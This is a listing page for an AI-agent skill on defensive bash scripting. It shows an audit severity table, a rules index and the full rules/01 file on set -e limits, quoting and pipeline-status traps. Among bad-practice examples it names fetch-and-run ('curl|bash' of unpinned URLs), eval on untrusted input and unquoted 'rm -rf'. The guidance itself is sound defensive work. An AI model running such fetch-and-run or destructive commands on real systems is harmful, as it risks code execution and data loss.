sota-shell-scripting
State-of-the-art shell scripting (bash-focused, defensive) for writing and auditing shell scripts, CI scripts, init/deploy scripts, container entrypoints, and Makefile recipes — and, just as much, for the ad-hoc commands you run yourself: a grep/find/rg sweep whose result you are
Install
npx skills add https://github.com/martinholovsky/SOTA-skills/tree/main/skills/sota-shell-scripting
claude plugin marketplace add https://llmmart.ai/marketplace.json && claude plugin install martinholovsky-sota-skills@llmmart
git clone https://github.com/martinholovsky/SOTA-skills.git
The skills CLI installs just this skill, for any of its supported agents. Claude Code installs the whole martinholovsky/sota-skills collection as a plugin from our marketplace. Git is the plain clone.
Skill manifest
SOTA Shell Scripting
Purpose: produce shell scripts that survive contact with reality — unusual filenames, missing commands, partial failures, hostile input, signals, and concurrent invocation — and audit existing scripts for the defect classes that cause most production shell incidents: unquoted expansions, silent error swallowing, injection, secret leakage, and temp-file races.
Bash-focused (bash 5.x current; macOS ships bash 3.2 and defaults to zsh — see portability
rules). POSIX sh only when the target demands it (busybox/dash containers, init systems).
First decision: should this be shell at all?
Do NOT use shell when any of these hold. Recommend Python/Go (or the project's primary language) instead, and say so explicitly in BUILD and AUDIT output:
- Script exceeds ~100 lines of actual logic (not counting boilerplate/usage text).
- Needs real data structures (nested maps, JSON manipulation beyond a
jqone-liner, sets). - Needs granular error handling (retry this step, distinguish error kinds, partial rollback).
- Does arithmetic beyond integers, date math, or float comparison.
- Parses structured formats (JSON/YAML/XML) with string surgery instead of
jq/yq. - Needs portable concurrency beyond "run N jobs and
wait". - Is security-critical input handling (auth, parsing untrusted network data).
Shell is the right tool for: gluing processes together, CI steps, container entrypoints, small install/deploy wrappers, environment setup — anything that is mostly invoking other programs rather than computing.
BUILD mode
When writing or modifying shell scripts:
- Pick the dialect deliberately.
#!/usr/bin/env bashunless the target is a minimal container/init context that only guarantees POSIXsh. Never#!/bin/shwith bashisms. - Start every bash script from the safety preamble (rules/01):
set -euo pipefail, trap-based cleanup,IFSdiscipline — and know whereset -edoes NOT fire. - Quote every expansion.
"$var","$@","$(cmd)". Build commands with arrays, never with string concatenation. - Errors are loud and routed to stderr with script name + context; exit codes are
meaningful and documented in
--help. - Make it idempotent and interrupt-safe:
mktemp+trapcleanup, atomic writes viamv, check-before-create,flockif concurrent runs are possible. - Run
shellcheck(treat all findings as blockers, suppress only with a justifying comment) andshfmt -dbefore declaring done. If they are unavailable locally, state that and flag CI must run them. - Provide
--helpalways;--versionfor distributed tools;set -xbehind aDEBUG/TRACEenv guard, never unconditionally (secret leakage).
AUDIT mode
When reviewing existing shell scripts, hunt the defect classes in rules/ files bottom-up
(each rules file ends with an audit checklist of grep patterns and ShellCheck codes).
Run shellcheck -S style on every script if available; correlate findings with context —
ShellCheck flags symptoms, you judge exploitability and blast radius.
Severity conventions:
| Severity | Meaning | Examples |
|---|---|---|
| CRITICAL | Exploitable or data-destroying now | eval on untrusted input; unquoted var in rm -rf; secrets in argv/set -x; curl|bash of unpinned URL in prod |
| HIGH | Will corrupt/fail on realistic input or failure | unquoted expansions in destructive paths; missing set -e/error checks around critical steps; predictable temp files; non-atomic config writes; missing exec in entrypoint (signals lost) |
| MEDIUM | Latent bug or fragility | parsing ls; which instead of command -v; missing pipefail; no -- separators; no timeouts on network calls; echo for variable data |
| LOW | Style/maintainability with safety implications | missing local; [ ] where [[ ]] intended; missing readonly; inconsistent error messages |
Finding format:
[SEVERITY] file:line — short title (SCxxxx if applicable)
Evidence: the offending line(s), verbatim
Impact: what input/condition triggers it and what breaks
Fix: concrete replacement code
Effort: trivial | small | medium | large
Rules index
| File | Covers |
|---|---|
| rules/01-safety-baseline.md | Shebang discipline, set -euo pipefail and its real limitations, quoting & word-splitting bug catalog, zsh-vs-bash deviations that bite pasted commands (joining, pipestatus, and NOMATCH — an unquoted glob in a flag value aborts the command and fakes a clean sweep) |
| rules/07-powershell.md | PowerShell has no set -euo pipefail, and the line everyone omits is the one that matters: $PSNativeCommandUseErrorActionPreference defaults to $false, so $ErrorActionPreference = 'Stop' silently tolerates a failed git/docker/terraform (§1) · The same failure classes as bash with different mechanisms: three disagreeing status variables and a $? that does not climb out of a function, pwsh -Command letting the last statement decide a CI step's verdict, GitHub Actions' built-in shell being safe while a custom shell: string silently drops its fail-fast and exit propagation, Invoke-Expression as eval, execution policy as the control that is not a security boundary, and PSScriptAnalyzer where ShellCheck cannot reach |
| rules/06-ad-hoc-commands.md | rg -r is --replace, not recursive — the grep -r symlink trap inverted, fabricating false CONTENT instead of a false absence (§2a) · The commands nobody commits — a sweep, a probe, a one-liner from a checklist, a quick container copy: the zsh deviations that bite pasted commands (joining, pipestatus, NOMATCH faking a clean sweep), what your searcher silently excludes (-r vs symlinked dirs, ripgrep's gitignore defaults, a grep that is really a wrapper) and controlling a sweep in the same invocation, a pattern beginning with - parsed as a flag (clean zero, error on the stderr you suppressed, §2c), || echo "missing X" firing on any non-zero exit so your broken sweep is reported as their defect (§2d), a hardcoded label asserting the result the output above it contradicts (§2e), and a word-boundary escape that is a property of the machine rather than the tool — \b silently matches nothing where git grep inherits a BSD regex (§2f) |
| rules/09-listing-and-selection.md | A lister's default cap answers with exit 0 and an empty stderr, so a page reads as a population (§5) · The tools that enumerate rather than search: gh pr list returning 30 of 330 with no flag and no warning, the --limit you set for a different question and then counted with, server-side counts and --paginate as the fix, reconciling two methods that disagree to a named cause — and the selector that picked a neighbouring population (§5a): newest is not default, apparent size is not blocks freed, and the only tell is a value that cannot belong to the thing you asked about |
| rules/08-ad-hoc-side-effects.md | "I am only checking something" bounds nothing — a read-only intent is not a read-only command · The sibling of rules/06: that file is a check returning the wrong answer, this one is a check with side effects. An ad-hoc command that fills a disk or corrupts the runtime it was inspecting (§3), and a backgrounded wait loop that exhausts the process table (§4) — which does not degrade, it hits a ceiling where every tool fails at once, including cleanup, since ps, killall and even echo in a fresh shell all need to fork |
| rules/05-constructs-and-cleanup.md | Sourcing a script to test one function relocates it — BASH_SOURCE points at the copy and the script cds itself away, silently (§3a) · The constructs a script is assembled from, once the expansion itself is right: arrays for command building (SC2089/2090), IFS scoping, trap-based cleanup and mktemp (predictable temp paths are a race, not a style point), [[ ]]/printf/local/readonly, and globbing pitfalls including never parsing ls |
| rules/02-robustness-correctness.md | Argument parsing (getopts/while-case, --help/--version), input validation, POSIX vs bash portability, stderr/exit-code discipline, PIPESTATUS, command -v, network timeouts & retries, flock & background jobs, idempotency & atomic writes, safe filename handling |
| rules/03-security.md | Why --severity=style catches real defects, and a pointer to who owns local gate reproduction (§7) · eval/injection, secrets discipline (argv/env/set -x), PATH hygiene — including the non-adversarial mirror: a wrapper, shim, alias or function override that invokes a name its own namespace shadows, which fills the process table with no bound at all while the function form merely segfaults — sudo discipline, curl|bash both directions, temp-file races, umask, ShellCheck+shfmt in CI |
| rules/04-ci-and-operational.md | Killing a backgrounded build by pid orphans the compiler, and the next run's contention reads as a defect in your change · GitHub Actions shell pitfalls (${{ }} injection, multiline run, quoting in YAML), container entrypoints (exec, PID 1, privilege drop), Makefile shell gotchas, long-running script logging |
Top 10 non-negotiables
#!/usr/bin/env bash+set -euo pipefailon every bash script — and explicit error handling where-eis known not to fire (conditions,&&/||, command substitution in assignments-with-modifiers, process substitution).- Quote every expansion:
"$var","$@","${arr[@]}","$(cmd)". SC2086 is a bug, not style. - Build argument lists with arrays; pass them as
"${args[@]}". Never accumulate a command in a string andeval/word-split it. trap cleanup EXITwith an idempotent cleanup function; temp paths only viamktemp.- Never
eval,bash -c, orsh -cwith interpolated untrusted data; use--before positional file/user arguments to every command that supports it. - No secrets in argv, in environment dumps, or under
set -x;set +xaround sensitive sections; read secrets from files or fds. - Errors to stderr with context (
script: failed to X: $detail); meaningful exit codes; neverexit 0on failure paths. - Network calls get
--fail,--max-time/timeouts, and bounded retries — never barecurl url | .... - Handle arbitrary filenames:
find -print0 | xargs -0/-exec ... +,while IFS= read -r, never iterate$(ls)or unquoted globs from variables. - ShellCheck (clean, or annotated suppressions) + shfmt enforced in CI; a shell script without CI linting is unreviewed code.
Cross-references
- CI pipeline hardening,
${{ }}injection, action pinning →sota-devsecops - Secret storage/rotation →
sota-secrets-management - Container image/runtime hardening →
sota-sandboxing,sota-cloud-infrastructure - When the "don't use shell" rule fires →
sota-python/sota-golang
Files (sota-skills)
-
rules
-
01-safety-baseline.md 27.1 KB
# 01 — Safety Baseline The shebang, the preamble, and quoting — what every bash script gets before any logic. Two neighbours were split off as this file filled, both times leaving §3 (quoting) in place because it is the most-cited section here: the constructs built on top of quoting — arrays, IFS, traps and `mktemp` cleanup, test/printf, globbing — are [rules/05](05-constructs-and-cleanup.md), and the commands you *type* rather than commit, including the zsh deviations that bite them, are [rules/06](06-ad-hoc-commands.md). ## 1. Shebang discipline - Use `#!/usr/bin/env bash` for bash scripts. `/bin/bash` is absent on NixOS/some BSDs, and on macOS `/bin/bash` is frozen at 3.2 (GPLv2) while users install modern bash (5.x) via Homebrew on PATH — `env` finds it. macOS's *default interactive shell* is zsh; scripts must not assume the login shell. - Use `#!/bin/sh` **only** when you commit to strict POSIX (and verify with `shellcheck -s sh`). `sh` is dash on Debian/Ubuntu and busybox ash in minimal containers: no arrays, no `[[ ]]`, no `local` guarantees beyond common practice, no `pipefail` (until very recent POSIX-2024-aligned shells), no `${var//pat/rep}`. - Never mix: a `#!/bin/sh` script containing bashisms is a time bomb that detonates on the first dash/busybox host. SC2039/SC3xxx-series catch these. - If the script needs bash ≥4 features (associative arrays, `mapfile`, `${var,,}`), guard: ```bash (( BASH_VERSINFO[0] >= 4 )) || { printf '%s: requires bash >= 4\n' "${0##*/}" >&2; exit 1; } ``` ## 2. The preamble and what `set -e` actually does ```bash #!/usr/bin/env bash set -euo pipefail ``` - `-e` exit on command failure, `-u` error on unset variable expansion, `-o pipefail` a pipeline fails if any element fails (not just the last). - Optionally `shopt -s inherit_errexit` (bash ≥4.4): makes command substitutions inherit `-e`; without it, `var=$(false; echo ok)` succeeds silently. - bash ≥5.3 adds `${ cmd; }` — command substitution run *in the current shell* (no subshell/fork): assignments, `cd`, and `shopt` changes inside **persist** in the parent, unlike `$(cmd)`. The `-e`-masking rules here apply to it unchanged (`inherit_errexit` covers both forms). Guard it as a bash ≥5.3-only feature (§1). **Where `set -e` does NOT fire — memorize this list; each is a real bug class:** | Context | Behavior | |---|---| | Command tested by `if`/`while`/`until` | `-e` suspended for the whole command, including functions it calls | | Left of `&&` / `||` | suspended — `cmd && other` swallows `cmd` failure | | Any command in a function *called from* a condition | `-e` is off inside the entire call tree | | `local var=$(cmd)` / `export var=$(cmd)` | exit status of `cmd` is masked by `local`/`export` (SC2155) | | Pipeline without `pipefail` | only last element's status counts | | Command substitution in a larger command | `echo "$(false)"` succeeds | | Subshell `(exit 1) || true` patterns, `! cmd` | negation makes failure "expected" | **Inside a suspended context you cannot get errexit back, and `$-` lies about it.** Re-running `set -e` or `set -o errexit` in the function or subshell does **not** restore it, and `case $- in *e*)` still matches — the shell reports the safety flag as enabled while it is behaviourally inert, so you cannot detect the suspension by inspecting the shell's own state. Verified on GNU bash **5.3.15 and 3.2.57** (macOS `/bin/bash`), 2026-08-16: ```bash a() ( false; echo RAN ) # inherited -e -> RAN, exit 0 b() ( set -e; false; echo RAN ) # re-armed -> RAN, exit 0 <-- does not work c() ( set -o errexit; false; echo RAN ) # -> RAN, exit 0 e() ( false && echo RAN ) # explicit && -> exit 1 <-- works f() ( bash -c 'set -e; false; echo RAN' ) # new process -> exit 1 <-- works g() ( case $- in *e*) echo "flag IS set";; esac; false; echo RAN ) # prints BOTH ``` Only two constructs are reliable there: **explicit `&&` chaining**, or a **fresh `bash -c`**. This is an unfalsifiable control inside the shell itself — the `sota-code-security` rules/10 §1 question ("if this were a no-op, would anything differ?") applied to bash, and the reason `set -e` is a backstop rather than error handling. Consequences: ```bash # BAD — set -e is OFF inside check_all because it's in an if-condition; # every failure inside it is silently ignored if check_all; then deploy; fi # BAD — SC2155: rev is always assigned, git failure masked local rev=$(git rev-parse HEAD) # GOOD — separate declaration from command substitution local rev rev=$(git rev-parse HEAD) # GOOD — when you need a command's status without -e killing the script: status=0 risky_command || status=$? if (( status != 0 )); then printf '%s: risky_command failed with %d\n' "${0##*/}" "$status" >&2 exit "$status" fi ``` Rule: treat `set -e` as a backstop, not error handling. Critical steps get explicit `|| { err "..."; exit 1; }` or status capture. **`$( )` strips every trailing newline — silently, and it breaks line-oriented composition.** The code *reads* as though the newline is there, because the helper that produced it emitted one; the newline is removed by the substitution, not by the helper. ```bash body="$(printf 'a: 1\nb: 2\n')" # body is "a: 1\nb: 2" — the trailing \n is GONE printf '%s%s\n' "$body" "c: 3" # BAD -> "a: 1", "b: 2c: 3" (two fields glued) printf '%s\n%s\n' "$body" "c: 3" # GOOD -> "a: 1", "b: 2", "c: 3" ``` This matters most where the bytes are **hashed, signed, or parsed by field**: a writer and a verifier that disagree about one byte each look correct in isolation. If the composed text feeds a digest, assert the round trip against a **committed known-answer vector**. Field-reported twice in one session, the second time by the author who had just fixed the first instance. ## 2a. A background job's completion signal is about the launcher §2 is about `set -e` inside your shell. This is one layer up, where an agent, a CI step or a task runner reads *"finished, exit 0"* and believes it describes the work. ```bash nohup sh -c 'pytest … > out.txt 2>&1; echo "EXIT=$?" >> out.txt' & ``` Field-reported: the orchestration layer reported **"completed (exit code 0)"** about **17 seconds** into a 41-minute run (measured with `ps -o etime` on the pytest process at that moment) — the exit status of `nohup` *detaching*, which is a real and successful event. It repeated on a second run and on a waiter loop. On the run that mattered the file said `EXIT=1`: a test had failed. Note the two shell-level rules do not cover this. `$?`-after-a-pipeline and `cmd; echo` (§2, §3) are about *your* shell's status; here the shell was fine and the **reader was a different process**, told about a different subject. - **Wait on an artefact the job writes, never on the launcher's status.** `until grep -q '^EXIT=' out.txt; do sleep 5; done`, then read the file. A sentinel the job appends *last* is the only thing that means "the job is done". - **Never report a background job's outcome from the notification.** Report the sentinel, and quote it. - **`pgrep -f 'pattern'` matches the watching shell's own command line**, so a wait loop containing the pattern matches itself and never exits. Match the process you mean, exclude `$$`, or watch the artefact — which you should be doing anyway. **Platform-scoped, and the scope is the trap**: measured 2026-09-16 as a differential, the identical loop on **procps-ng 4.0.6 (Linux) never exits**, while on **BSD `pgrep` (macOS) it exits immediately** — with a positive control confirming macOS `pgrep -f` does find a *separate* carrier process. So a macOS operator who tests this concludes the trap is imaginary and ships the loop into Linux CI. Same shape as `-r` over symlinked dirs, which this file already states per binary. - **And do not read the artefact early.** A live output file is a **buffer**: short, truncated and complete are the same bytes, so *"it produced nothing"* and *"it has not got there yet"* are indistinguishable. Field-reported: a gate task's short log was declared dead — *"silently failed, no output, HEAD never moved"* — while it was still running; it went on to produce full output, commit and push. **A background task is finished when the harness says so and at no other time.** - **Do not write to a resource a live task owns** — its worktree, branch or output directory. One writer per worktree. In that case the operator committed on top of the task believed dead, and the still-live task then recorded a ledger entry for the *new* commit while pushing only as far as the old one; untangling it cost more than the work it interrupted. - **Grepping a task log for a pass line and getting zero needs a denominator in the same invocation** — total lines, and total lines of the kind you searched for. The same operator later grepped a finished 28-line log for `PASS ebpf_load`, got zero, and nearly reported the gate as never having run; **zero `PASS` lines anywhere in the file** showed the log never held the table at all, and the gate had in fact *failed* — which was the real finding. `rules/06` §2. - The general form, for any status: `sota/rules/03` §2 — name what the OK is about. ## 2b. A non-zero exit is evidence about one attempt, not about the world §2a is a status about the wrong *subject*. This is a status about the right subject and the wrong *scope*: the command failed, and the write it was making had already landed. Field-reported. A `git push` returned: ```text ! [remote rejected] main -> main (cannot lock ref 'refs/heads/main': is at 8a93e406d96b but expected bfd516b8c489...) PUSH_EXIT=1 ``` `8a93e406d96b` **is the commit that push was sending.** A `git fetch` immediately after showed `185e511..8a93e40` — the branch was exactly where it should be. The error text names the **success** as the obstacle, which is why it reads so convincingly as a rejection. **Why this is worse than an ordinary gotcha:** every reflexive remedy for a rejected push — re-push, `--force`, `reset --hard`, "let me clean this up" — is **destructive to a branch that is fine**. The failure mode converts a non-event into data loss through a well-intentioned fix. - **Before acting on a failed mutation, ask the system whether it happened.** For a push: `git fetch && git rev-list --left-right --count origin/main...HEAD`. For anything else, read the resource back. This costs one command and is unconditional — you do not need to know *why* the exit was non-zero. - **The tell is an error quoting your own intended value as the current state.** `is at <the thing you were writing>` is a success report wearing a failure's clothes. - **The mechanism, field-reported with both arms** (alpine 3.22, git 2.49.1; reproduced by the reporter, not rebuilt here). A minimal smart-HTTP server running real `git-receive-pack --stateless-rpc`, with the POST delivered twice: the control arm (single delivery) exits 0 and advances the ref; the test arm exits non-zero, **the write lands**, and the error quotes the value just written while naming the stale old-value as expected. All four predicates of the field signature hold. Two earlier attempts had *failed* to reproduce it — both used git's **local** transport, which has no HTTP layer and so no retry, and neither had a control arm (`sota-code-security` rules/12 §1a). The wider generalisation — *any protocol with an idempotent retry can report failure about its own success* (at-least-once delivery, conditional writes, state locks, idempotency-keyed payment APIs) — remains **plausible and not established**: one protocol was reproduced, not the class. **The rule above depends on none of it.** ## 3. Quoting: quote every expansion (SC2086) Unquoted expansions undergo word splitting (on `$IFS`) **and** glob expansion. This is the single largest shell bug class. **In zsh they do not** — and that inverts the bug. zsh's `SH_WORD_SPLIT`, *"Causes field splitting to be performed on unquoted parameter expansions"*, is **off** in native zsh (the manual marks it `<K> <S>` — ksh/sh emulation only; verified 2026-08-14 against the zsh Options manual). So `cmd $args` passes the whole string as **one argument**, and the same line that is a splitting bug in bash is a *joining* bug in zsh. It matters because macOS defaults to zsh, so a snippet pasted from a bash-shaped rule silently changes meaning in an interactive shell and in any `#!/bin/zsh` script. ```zsh args="gate check --json" cmd $args # zsh: ONE argument "gate check --json" — usually a usage error cmd ${=args} # explicit split — three arguments argv=(gate check --json); cmd $argv # better: an array, correct in both shells cmd ${3:+--flag $3} # zsh: passes "--flag /path" as one argument files=$(git ls-files '*.md') # a NEWLINE-separated list — the shape audit sweeps build grep -l PATTERN $files # zsh: ONE impossible filename; searches NOTHING, exit 2 files=("${(@f)$(git ls-files '*.md')}") # right: split on NEWLINES only ``` **The remedy is separator-specific.** `${=var}` above is right for a space-separated flag string and *wrong* for a file list — it splits spaces too, so `a b.md` becomes two missing paths (measured: 1 hit where 2 were due). Use `${(@f)…}` for anything `$(…)` produced. The failure mode is what makes this expensive: the callee reports a **usage error (exit 2)**, which reads as a bug in the tool being tested rather than in the harness calling it. `for x in "a b"; do cmd $x; done` and `${var:+--flag $var}` are where it bites hardest. Same family: `$?` after a pipeline is the **last** stage's status — `${pipestatus[1]}` in zsh, `${PIPESTATUS[0]}` in bash (rules/02 §4). **The status-discarding pipe is usually in the scaffolding, not the payload.** `cmd | tail`, `cmd | head`, `cmd | grep -q` are typed to shorten output or make a decision; the exit status is collateral, and nobody audits collateral. **The mechanical tell is `&&` after a pipeline** — if anything is chained onto a piped command, the chain is running on the *formatter's* status: ```console $ (exit 1) | tail -1; echo "status=$?" status=0 $ (exit 1) | tail -1 && echo "this runs" this runs ``` Field-reported twice in one session, an hour apart, in separately composed commands: `make ci 2>&1 | tail -10 && git push origin main` pushed while the gate was **red**, and the push triggered a second concurrent gate run that collided with the first over a shared test binary (`Text file busy`). The visible symptom was a conformance test failing to observe an event it had caused — indistinguishable from a product race, in a suite that already carried four undiagnosed intermittent failures. **The tell that it was the harness and not the product was duration: 1599s against ~757s for identical code minutes earlier.** **Commands you write to *manage* the work get the same scrutiny as commands you write to *do* it.** Wait loops, output formatting, status chaining and cleanup are where a shell trap survives an otherwise careful session — not because the rules are unknown, but because the reflex fires on *"am I about to believe this result?"*, and scaffolding never feels like a result. A `pgrep` waiter and a `| tail &&` chain both passed unexamined in one session by an operator who had read both rules that morning. Graded as one observation with two instances. **A consumer at the end of a pipe usually succeeds on empty input, and its output looks like a real answer.** `pipefail` fixes the *status*; this is about the **value you keep**. A registry guard meant to refuse overwriting a published tag: ```bash EXIST=$(skopeo inspect --raw "docker://host/repo:tag" 2>/dev/null | sha256sum | cut -d' ' -f1 || true) [ -n "$EXIST" ] && [ "$EXIST" != "$DIGEST" ] && refuse ``` On a **missing** tag the inspect fails, `sha256sum` reads empty stdin, and `EXIST` becomes `e3b0c44298fc…b855` — the hash of nothing. Non-empty, well-formed, and never equal to a real digest, so the guard refused **every** publish. Hashers, `wc`, `sort`, `base64` and `jq -r //empty` all manufacture a plausible result from nothing, which is why `[ -n "$var" ]` after such a pipeline tests almost nothing. **Test the precondition separately from the transformation:** ```bash if producer >/dev/null 2>&1; then value=$(producer | transform); else value=""; fi ``` **Do not pattern-match the fix.** The same guard written with `--format '{{.Digest}}'` and **no pipe** genuinely yields an empty string, so *its* `[ -n "$var" ]` is correct. A grep sweep for the shape would "fix" working code; checking which form each site uses is the work. The differential-oracle version of the same defect — a comparand that is empty rather than a value that is fake — is `sota-code-security` rules/11 §2.2a. **A pipeline is an evidence hazard as well as a status hazard, and `pipefail` only fixes the status.** For any command whose output you intend to *reason about* — a test run, a benchmark, a profile, a long analysis — **redirect to a file and read the file**: ```bash cmd > out.txt 2>&1; echo "EXIT=$?" # status preserved AND output preserved grep -nE 'passed|failed|Error' out.txt # filter AFTER, as often as you like ``` `cmd 2>&1 | tail -12` keeps the summary and destroys the traceback, the warnings and the stderr context above the cut — which is **the material that tells you the summary is wrong**. That asymmetry is the whole hazard: `tail` is *selected* to keep the summary line, so the pipe preserves the number and discards the evidence that the number is not to be trusted, and the surviving line is the one most likely to be quoted. Reproduced on a pytest-shaped run (200 progress lines, cause at the top, summary last): piped through `tail -12` the `AssertionError` was gone while `1 failed, 38265 passed` survived; redirected, both were there and the cause was one `grep` away. The cost is not the pipe, it is that a consumed pipe **cannot be re-read** — recovering the output means re-running the job. A 36-minute suite re-run to retrieve output that had already been produced once is the reported case; a four-minute mutation harness re-run three times over, because each `| tail -N` answered a different question than the one asked, is the same failure in miniature. Two corollaries: - **An empty result and a discarded result are the same value.** A backgrounded `... 2>&1 | tail -14` that produced a 22-byte file containing only `[exited with code 0]` is indistinguishable from a run that measured nothing — and the exit status says neither. - **Buffering turns this into a lie about the cause.** In long-running Python use `print(..., flush=True)` (or `-u`): a process killed by `timeout` otherwise leaves a file that is empty for a reason unrelated to the result. **And it is not only `tail` — a `grep` filter is worse, because it looks selective rather than lossy.** Reported case: a comparison tool was run as `tool compare … | grep -E "baseline|current|LOST|GAINED"`. The tool had correctly detected that its input changed between the two runs and printed `!! GRAPH CHANGED: 245827 -> 245808 REACHING_DEF edges`. That line matched none of the four alternatives, so it was discarded — and the conclusion being formed from what survived was that the guard was **inert**, i.e. a defect report about working code. The general form: **a filter written before you know what the output contains is a filter chosen to exclude the surprise.** `head`, `tail`, `grep`, `awk`, `cut` and `jq` all destroy output selectively, and the thing you did not think to match is exactly the thing worth reading. So **redirect first, filter the file afterwards** — a saved file can be re-grepped with a better pattern once the first one proves wrong; a consumed pipe cannot, and the second pattern costs a full re-run. **Scope, deliberately narrow:** this is not "never use `tail`". Piping to `tail` to watch a log, sample a file or check a shape is fine and idiomatic. The rule applies where the output is **evidence for a claim**, and the tell is whether you would have to re-run the job to get it back. **Arrays are the portable answer.** They mean what they say in both shells; `${=var}` is a zsh-only escape hatch for a string you did not build. ```bash # BAD — splits on spaces, expands *, ?, [ in the value rm -rf $build_dir/$target # build_dir="my project" → rm -rf my project/... cp $files $dest # files="a b" is two args; files="*" globs # GOOD rm -rf -- "$build_dir/$target" cp -- "$files" "$dest" ``` Word-splitting bug catalog — all are bugs, not style: ```bash [ -f $path ] # path with space → "[: too many arguments" for f in $(ls); do ... # splits on whitespace, globs results (SC2045/SC2012) echo $(<file) # collapses runs of whitespace, expands globs in content ssh host rm $file # double expansion: once locally, once remotely args="--opt val"; cmd $args # works until val has a space — use an array return $? # fine — but `exit $code` with code="" under -u errors; quote anyway curl -H $auth_header ... # header with space splits into garbage args ``` - `"$@"` not `$*` and not `"$*"` to forward arguments — `"$@"` preserves each argument as one word. `"$*"` joins into a single word (legit only for display strings). - `"${arr[@]}"` for arrays, same logic. - The only sanctioned unquoted expansions: inside `[[ ]]` (no splitting there — but quote the *right-hand side* of `==`/`=~` deliberately: unquoted RHS is a pattern, quoted is literal), and arithmetic `$(( ))`. ## Audit checklist - [ ] **Is anything chained onto a pipeline with `&&`?** (§3) The chain runs on the *formatter's* exit status, not the work's — `make ci | tail -10 && git push` pushes while the gate is red. Audit the scaffolding, not just the payload: `| tail`, `| head`, `| grep -q`, wait loops and cleanup are typed to manage the work, so the "am I about to believe this?" reflex never fires on them. Grep the shape: `grep -nE '\|[^|]+&&' ` over scripts and CI run blocks. - [ ] **Does any `pgrep -f` waiter match the watcher's own argv?** (§3) It never exits — **on Linux**. Measured as a differential: procps-ng never exits, BSD/macOS exits immediately, so a green local test on macOS proves nothing about the Linux CI that will run it. - [ ] **Any `var=$(producer | consumer)` whose emptiness is then tested?** Hashers, `wc`, `sort`, `base64` and `jq -r //empty` succeed on empty stdin and return a well-formed value, so `[ -n "$var" ]` passes on a failed producer. Test the producer separately — and check each site's actual form before sweeping, because the no-pipe spelling is correct as written (§3). - [ ] **Composed multi-line records**: `grep -rn '="\$(' --include='*.sh'` where the result is concatenated with more lines — `$( )` dropped the trailing newline and the boundary is gone. High where the bytes are hashed, signed or field-parsed; confirm a known-answer vector exists and that writer and verifier agree byte-for-byte. - [ ] **Measurements piped into `tail`/`head`.** `grep -rnE '(pytest|go test|cargo|bench|profile|timeout)[^|]*\| *(tail|head)' --include='*.sh' --include='*.yml' .` — and the same in any runbook or CI step whose output someone reads. Evidence commands redirect to a file; `pipefail` does not bring destroyed output back (§3). Run `shellcheck -S style` first; then hunt manually. **zsh is not covered by shellcheck, and its tooling is thinner — but it is not nothing.** Find the zsh files first (`grep -rln '^#!.*zsh' .`), then know what can and cannot check them (all verified 2026-08-14): | Tool | Covers zsh? | Evidence | |---|---|---| | `shellcheck` | **No** | `SC1071 (error): ShellCheck only supports sh/bash/dash/ksh/'busybox sh' scripts` — run it and see. Note that popular web summaries claim otherwise; they are wrong, and the binary settles it | | `zsh -n` | **Syntax only** | catches parse errors and exits 1 (`broken.zsh:4: parse error near '\n'`); it does **not** find quoting or splitting bugs, which is the class this section is about | | `zsh -o WARN_CREATE_GLOBAL` / `WARN_NESTED_VAR` | Narrow, runtime | flags accidental globals as the script *runs* — not static analysis | | `z-shell/zsh-lint` | Claims to | third-party, ~33 stars, actively pushed as of 2026-08-14. Small and low-adoption — treat as a candidate generator, verify its findings, and re-check maintenance before you depend on it | So the practical answer is `zsh -n` in CI for syntax, plus a **manual read for the splitting/joining class** — no widely-adopted static analyser catches `cmd $args` being one argument in zsh. - [ ] **Measurements piped into a filter — `tail`, `head`, *or* `grep`/`awk`/`jq`.** The `grep` form is the more dangerous one: it reads as selective rather than lossy, and the line it silently drops is the one you did not know to look for (§3). - [ ] **Is a VERDICT — pass/fail, not a measurement — read through a pipe or taken from a multi-command block?** (§3) The adjacent items above cover *measurements* piped into a filter and background launchers; this is the pass/fail case, and it is the one that gets reported to a human. A pipeline's `$?` is the **last stage's**; a block's is the **last command's**. So `check.sh | tail -2` and `check.sh` followed by `gh pr checks` both yield a status describing something other than the check — and a green reads as a verdict while being silent about the real one. Field-measured 2026-09-14: both forms reported exit 0 over a failing gate in one session, twice. **The structural fix, not another warning:** the verdict-bearing command runs **alone and unpiped**, its status is captured on the very next line (`rc=$?`), and any filtering is a *separate* invocation afterwards. In committed shell `shellcheck -S style` flags the `$?` form (SC2181); in an **ad-hoc command nothing does**, which is where it happens (`rules/06` §1). In zsh the producer's status is `${pipestatus[1]}` — `${PIPESTATUS[0]}` reads as empty, which is itself a silent wrong answer. - [ ] **Background jobs: is any outcome read from the launcher's status?** (§2a) The completion signal describes `nohup`/the runner detaching; wait on a sentinel the job writes last, and quote it. - [ ] `grep -rn '^#!/bin/sh' scripts/`- [ ] `grep -rn '^#!/bin/sh' scripts/` then scan those files for `[[`, arrays, `local -`, `${var//`, `pipefail` → bashism-in-sh (SC3xxx series). - [ ] **`set -e` believed inside a suspended context**: `set -e`/`set -o errexit` re-armed inside a function called from a condition, or `$-` inspected to prove errexit is live — both are inert there. Probe: `f() ( set -e; false; echo RAN )` called from an `if`; if RAN prints, that whole call tree is unprotected. - [ ] Missing preamble: `grep -rLn 'set -euo pipefail\|set -eu' --include='*.sh' .` - [ ] SC2086 (unquoted expansion) — treat every instance in a destructive command (`rm`, `mv`, `cp`, `chmod`, `chown`, `ssh`, `kill`) as HIGH. - [ ] SC2155 — `grep -rn 'local [a-zA-Z_]*=\$(' --include='*.sh'` (masked exit status). - [ ] `set -e` false confidence: grep for `if .*&&\|if [a-z_]*;` over functions with critical side effects; check `$(...)` in assignments without `inherit_errexit`. -
02-robustness-correctness.md 19.6 KB
